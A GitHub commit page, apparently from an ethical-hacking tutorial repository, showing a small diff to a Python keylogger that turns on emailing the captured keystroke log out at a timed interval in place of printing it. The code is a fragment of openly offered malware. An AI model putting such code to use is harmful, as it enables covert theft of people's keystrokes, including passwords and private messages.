Skip to content

Commit 5a53324

Browse files
committed
fixed keylogger
1 parent bcc9619 commit 5a53324

File tree

1 file changed

+3
-2
lines changed

1 file changed

+3
-2
lines changed

ethical-hacking/keylogger/keylogger.py

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -61,8 +61,9 @@ def report(self):
6161
"""
6262
if self.log:
6363
# if there is something in log, report it
64-
# self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
65-
print(self.log)
64+
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
65+
# can print to a file, whatever you want
66+
# print(self.log)
6667
self.log = ""
6768
Timer(interval=self.interval, function=self.report).start()
6869

0 commit comments

Comments
 (0)